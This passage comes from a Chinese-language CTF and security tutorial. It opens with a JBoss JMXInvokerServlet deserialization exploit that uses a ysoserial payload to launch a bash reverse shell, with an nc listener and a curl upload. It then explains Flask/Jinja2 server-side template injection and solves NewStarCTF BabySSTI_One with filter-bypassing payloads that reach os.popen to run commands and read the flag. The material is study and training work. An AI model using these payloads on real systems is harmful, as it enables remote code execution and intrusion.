└─# ./jdk-8/bin/java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,***********************************************************}|{base64,-d}|{bash,-i}">aufeng.ser
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
- 启动监听
# nc -lvnp 10001
- 用curl或者burpsuit对
http://ip:port/invoker/JMXInvokerServlet发送ser文件
curl
PS D:\JAVA_JDK> curl http://目标ip:port/invoker/JMXInvokerServlet --data-binary aufeng.ser
BPR
修改请求为 post,右击从文件粘贴,把 aufeng.ser粘贴进去。

- 获得shell。

SSTI 模板注入漏洞
服务端模板注入(Server-Side Template Injection, SSTI)漏洞一般是由于服务端接收了用户的输入后,没有进行合理的控制和处理就将其插入We b应用模板,导致模板引擎在进行目标编译渲染的过程中执行了用户输入的恶意内容。
基础概念

在学习服务端模板注入漏洞之前,我们需要先了解一下什么是模板引擎。模板引擎以网站业务逻辑层和表现层分离为目的,将模板与数据模型结合起来,生成结果文档(例如HTML),有助于将动态数据填充到网页中。常见的模板引擎包括Smarty、Twig、Jinja2、Tornado等,不同的模板引擎在渲染语法上会有一定的差异,关于模板渲染的知识,读者可以自行学习。模板引擎一般会提供沙箱机制来防范漏洞,不允许使用没有定义或声明的模块,但是依然可以利用沙箱逃逸技术绕过。在挖掘服务端模板注入漏洞之前,首先要对目标使用的模板引擎进行检测,模板引擎检测可以参考由国外安全研究人员James Kettles提出的检测流程,如图所示,实线箭头和虚线箭头分别代表响应成功和响应失败。有时,同一个可执行的Payload可以有多个不同的响应结果,例如“{{7*'7'}}”会在Twig中返回“49”,而在Jinja2中则是“7777777”,我们在检测模板引擎时要注意辨别。
Flask-Jinja2模板注入
Flask是一个使用Python编写的轻量级Web应用框架,其模板引擎使用的是Jinja2。Jinja2是基于Python的模板引擎,官方介绍称Jinja2是一个现代的、设计者友好的、仿照Django模板的Python模板语言,它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境来保证安全。Jinja2有3种常用的基本语法,分别是变量{{name}}、注释{#...#}和控制结构{%...%}。
[NewStarCTF]BabySSTI_One
题目中存在提起用get给name变量传参。尝试payload={{7*7}},发现存在模板注入漏洞,表达式被执行。漏洞利用基本思想就是获取基本类 -> 拿到基本类子类 -> 在子类中找到关于命令执行和文件读写的类。

Python中的魔术方法
Magic Method(魔术方法)是Python中一些特殊方法的统称,这些特殊方法名前后都添加了两个下划线,例如:init。对于SSTI中常用的魔术方法及作用如表所示。

沙箱绕过
在Python中,所有内容都可以用对象表示,均继承于对象,对象中的类也是可以继承的,我们可以利用继承关系来间接调用模块,从而达到我们想要的效果。由于CTF赛题环境与本地测试环境可能不一致,并且Python2与Python3也有一定的差异,因此在构造Payload时要格外注意,比赛时要以比赛环境为主来进行构造Payload。以下构造方法基于Python3,与Python2的构造思路大致相同。
列出全部子类和其他继承于该基类的类
发现其存在一些过滤。

那么构造如下:
/?name={{''['__cl'+'ass__']['__ba'+'ses__'][0]['__subcl'+'asses__']()}}
然后从子类中找到包含“sys”或者"os"的类的索引位置。
import requests
res = requests.get('http://a9e69d3a-7d5f-4200-84ee-01ab7e47d789.node5.buuoj.cn:81/?name={{%27%27[%27__cl%27+%27ass__%27][%27__ba%27+%27ses__%27][0][%27__subcl%27+%27asses__%27]()}}')
res_class = res.text[len('<body bgcolor=#E1FFFF><br><p><b><center>Welcome to NewStarCTF, Dear ['):0-len(']</center></b></p><br><hr><br><center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>')]
res_class = res_class.split(',')
num = -1
for i in res_class:
num += 1
try:
if "sys" in i or "os" in i:
print(num, i)
except:
pass
'''
87 <class 'posix.ScandirIterator'>
88 <class 'posix.DirEntry'>
117 <class 'os._wrap_close'>
260 <class 'tempfile._TemporaryFileCloser'>
475 <class 'werkzeug.wsgi.ClosingIterator'>
'''
构造payload
查看根目录。
/?name={{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('ls /')['re'+'ad']()}}

查看flag:
/?name={{''['__cla'+'ss__']['__bas'+'es__'][0]['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('head /fla*')['re'+'ad']()}}

